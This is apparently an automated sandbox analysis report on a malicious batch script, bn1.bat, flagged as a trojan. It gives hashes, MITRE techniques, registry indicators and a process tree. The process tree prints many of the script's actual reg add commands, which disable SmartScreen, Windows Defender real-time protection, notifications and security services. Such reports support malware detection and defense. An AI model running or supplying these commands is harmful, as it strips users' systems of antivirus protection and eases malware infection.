d01c7369d4e4f521de836b03f80006aad05aa71d81eaf4402c55b4b9b50c5038

Analysis

max time kernel
85s
max time network
17s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
30-11-2024 08:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

$_57_/bn1.bat
Size

9KB
MD5

95177638f9e6c0c5f4ae5b598a373ca2
SHA1

fca0880d545b3937ceafa4f6ad0ece12168e2921
SHA256

606e86d58f2c47eff90ad4b78463ca866854a278adeb09d06a29395a1b8aea89
SHA512

55236ad069d9d4347bd2951bc5c5a05f5466e6a7937ec36b903dfb3e72c37bfb33ff610e42006a2da56c07c668cea0cb416fa412663c8d7c80ebc0641cd2d962
SSDEEP

192:5yeKv9eA3sQlxRyEiLivnzA6fFrs3qUEGA6oh/HbzBBzKF6gF8XM9LjZApFpQjTN:4K

Score

10^/10

defense_evasion evasion execution trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 14 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScriptScanning = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRoutinelyTakingAction = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies Windows Defender notification settings 3 TTPs 4 IoCs

evasion trojan

Windows Service

T1543.003

Modify Registry

T1112

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	reg.exe

Modifies security service 2 TTPs 4 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wscsvc\Start = "4"	reg.exe

Modifies Security services 2 TTPs 10 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

T1112

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SecurityHealthService\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SecurityHealthService\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4"	reg.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Logs\CBS\CbsPersist_20241130085810.cab	makecab.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1684	powershell.exe
676	powershell.exe
2564	powershell.exe

Modifies data under HKEY_USERS 48 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1664	PowerRun64.exe
1664	PowerRun64.exe
1288	PowerRun64.exe
1288	PowerRun64.exe
1256	PowerRun64.exe
1256	PowerRun64.exe
2092	PowerRun64.exe
2092	PowerRun64.exe
2924	PowerRun64.exe
2924	PowerRun64.exe
1080	PowerRun64.exe
1080	PowerRun64.exe
448	PowerRun64.exe
448	PowerRun64.exe
1992	PowerRun64.exe
1992	PowerRun64.exe
2288	PowerRun64.exe
2288	PowerRun64.exe
768	PowerRun64.exe
768	PowerRun64.exe
2496	PowerRun64.exe
2496	PowerRun64.exe
1580	PowerRun64.exe
1580	PowerRun64.exe
2956	PowerRun64.exe
2956	PowerRun64.exe
1556	PowerRun64.exe
1556	PowerRun64.exe
2712	PowerRun64.exe
2712	PowerRun64.exe
2664	PowerRun64.exe
2664	PowerRun64.exe
3036	PowerRun64.exe
3036	PowerRun64.exe
2160	PowerRun64.exe
2160	PowerRun64.exe
1320	PowerRun64.exe
1320	PowerRun64.exe
2500	PowerRun64.exe
2500	PowerRun64.exe
2312	PowerRun64.exe
2312	PowerRun64.exe
936	PowerRun64.exe
936	PowerRun64.exe
956	PowerRun64.exe
956	PowerRun64.exe
536	PowerRun64.exe
536	PowerRun64.exe
716	PowerRun64.exe
716	PowerRun64.exe
2296	PowerRun64.exe
2296	PowerRun64.exe
800	PowerRun64.exe
800	PowerRun64.exe
2264	PowerRun64.exe
2264	PowerRun64.exe
3028	PowerRun64.exe
3028	PowerRun64.exe
2496	PowerRun64.exe
2496	PowerRun64.exe
2800	PowerRun64.exe
2800	PowerRun64.exe
1144	PowerRun64.exe
1144	PowerRun64.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1664	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1664	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1664	PowerRun64.exe
Token: 0	1664	PowerRun64.exe
Token: SeDebugPrivilege	1288	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1288	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1288	PowerRun64.exe
Token: SeDebugPrivilege	1256	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1256	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1256	PowerRun64.exe
Token: 0	1256	PowerRun64.exe
Token: SeDebugPrivilege	2092	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2092	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2092	PowerRun64.exe
Token: SeDebugPrivilege	2924	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2924	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2924	PowerRun64.exe
Token: 0	2924	PowerRun64.exe
Token: SeDebugPrivilege	448	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	448	PowerRun64.exe
Token: SeDebugPrivilege	1080	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1080	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1080	PowerRun64.exe
Token: 0	1080	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	448	PowerRun64.exe
Token: SeDebugPrivilege	1992	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1992	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1992	PowerRun64.exe
Token: SeDebugPrivilege	2288	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2288	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2288	PowerRun64.exe
Token: 0	2288	PowerRun64.exe
Token: SeDebugPrivilege	768	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	768	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	768	PowerRun64.exe
Token: 0	768	PowerRun64.exe
Token: SeDebugPrivilege	2496	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2496	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2496	PowerRun64.exe
Token: SeDebugPrivilege	1580	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1580	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1580	PowerRun64.exe
Token: 0	1580	PowerRun64.exe
Token: SeDebugPrivilege	2956	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2956	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2956	PowerRun64.exe
Token: SeDebugPrivilege	1556	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1556	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1556	PowerRun64.exe
Token: SeDebugPrivilege	2712	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2712	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2712	PowerRun64.exe
Token: 0	2712	PowerRun64.exe
Token: SeDebugPrivilege	2664	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2664	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2664	PowerRun64.exe
Token: SeDebugPrivilege	3036	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	3036	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	3036	PowerRun64.exe
Token: 0	3036	PowerRun64.exe
Token: SeDebugPrivilege	2160	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2160	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2160	PowerRun64.exe
Token: SeDebugPrivilege	1320	PowerRun64.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2376 wrote to memory of 3004	2376	cmd.exe	32
PID 2376 wrote to memory of 3004	2376	cmd.exe	32
PID 2376 wrote to memory of 3004	2376	cmd.exe	32
PID 2376 wrote to memory of 2960	2376	cmd.exe	33
PID 2376 wrote to memory of 2960	2376	cmd.exe	33
PID 2376 wrote to memory of 2960	2376	cmd.exe	33
PID 2376 wrote to memory of 3012	2376	cmd.exe	34
PID 2376 wrote to memory of 3012	2376	cmd.exe	34
PID 2376 wrote to memory of 3012	2376	cmd.exe	34
PID 2376 wrote to memory of 3028	2376	cmd.exe	35
PID 2376 wrote to memory of 3028	2376	cmd.exe	35
PID 2376 wrote to memory of 3028	2376	cmd.exe	35
PID 2376 wrote to memory of 3068	2376	cmd.exe	36
PID 2376 wrote to memory of 3068	2376	cmd.exe	36
PID 2376 wrote to memory of 3068	2376	cmd.exe	36
PID 2376 wrote to memory of 3064	2376	cmd.exe	37
PID 2376 wrote to memory of 3064	2376	cmd.exe	37
PID 2376 wrote to memory of 3064	2376	cmd.exe	37
PID 2376 wrote to memory of 2268	2376	cmd.exe	38
PID 2376 wrote to memory of 2268	2376	cmd.exe	38
PID 2376 wrote to memory of 2268	2376	cmd.exe	38
PID 2376 wrote to memory of 2524	2376	cmd.exe	39
PID 2376 wrote to memory of 2524	2376	cmd.exe	39
PID 2376 wrote to memory of 2524	2376	cmd.exe	39
PID 2376 wrote to memory of 2188	2376	cmd.exe	40
PID 2376 wrote to memory of 2188	2376	cmd.exe	40
PID 2376 wrote to memory of 2188	2376	cmd.exe	40
PID 2376 wrote to memory of 2952	2376	cmd.exe	41
PID 2376 wrote to memory of 2952	2376	cmd.exe	41
PID 2376 wrote to memory of 2952	2376	cmd.exe	41
PID 2376 wrote to memory of 2956	2376	cmd.exe	42
PID 2376 wrote to memory of 2956	2376	cmd.exe	42
PID 2376 wrote to memory of 2956	2376	cmd.exe	42
PID 2376 wrote to memory of 2264	2376	cmd.exe	43
PID 2376 wrote to memory of 2264	2376	cmd.exe	43
PID 2376 wrote to memory of 2264	2376	cmd.exe	43
PID 2376 wrote to memory of 3048	2376	cmd.exe	44
PID 2376 wrote to memory of 3048	2376	cmd.exe	44
PID 2376 wrote to memory of 3048	2376	cmd.exe	44
PID 2376 wrote to memory of 1740	2376	cmd.exe	45
PID 2376 wrote to memory of 1740	2376	cmd.exe	45
PID 2376 wrote to memory of 1740	2376	cmd.exe	45
PID 2376 wrote to memory of 2100	2376	cmd.exe	46
PID 2376 wrote to memory of 2100	2376	cmd.exe	46
PID 2376 wrote to memory of 2100	2376	cmd.exe	46
PID 2376 wrote to memory of 2468	2376	cmd.exe	47
PID 2376 wrote to memory of 2468	2376	cmd.exe	47
PID 2376 wrote to memory of 2468	2376	cmd.exe	47
PID 2376 wrote to memory of 2716	2376	cmd.exe	48
PID 2376 wrote to memory of 2716	2376	cmd.exe	48
PID 2376 wrote to memory of 2716	2376	cmd.exe	48
PID 2376 wrote to memory of 2712	2376	cmd.exe	49
PID 2376 wrote to memory of 2712	2376	cmd.exe	49
PID 2376 wrote to memory of 2712	2376	cmd.exe	49
PID 2376 wrote to memory of 2736	2376	cmd.exe	50
PID 2376 wrote to memory of 2736	2376	cmd.exe	50
PID 2376 wrote to memory of 2736	2376	cmd.exe	50
PID 2376 wrote to memory of 2756	2376	cmd.exe	51
PID 2376 wrote to memory of 2756	2376	cmd.exe	51
PID 2376 wrote to memory of 2756	2376	cmd.exe	51
PID 2376 wrote to memory of 2812	2376	cmd.exe	52
PID 2376 wrote to memory of 2812	2376	cmd.exe	52
PID 2376 wrote to memory of 2812	2376	cmd.exe	52
PID 2376 wrote to memory of 2816	2376	cmd.exe	53

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\$_57_\bn1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2376
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
  2⤵
  PID:3004
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
  2⤵
  PID:2960
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
  2⤵
  PID:3012
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
  2⤵
  PID:3028
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
  2⤵
  PID:3068
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
  2⤵
  PID:3064
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
  2⤵
  PID:2268
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
  2⤵
  PID:2524
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
  2⤵
  PID:2188
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
  2⤵
  PID:2952
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
  2⤵
  PID:2956
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
  2⤵
  PID:2264
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
  2⤵
  PID:3048
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
  2⤵
  PID:1740
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
  2⤵
  PID:2100
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2468
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2716
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2712
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2736
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2756
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2812
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:2816
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
  2⤵
  PID:2836
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
  2⤵
  PID:2840
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
  2⤵
  PID:2980
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
  2⤵
  PID:2760
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
  2⤵
  PID:2968
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
  2⤵
  PID:2732
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
  2⤵
  PID:2740
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
  2⤵
  PID:2860
- C:\Windows\system32\reg.exe
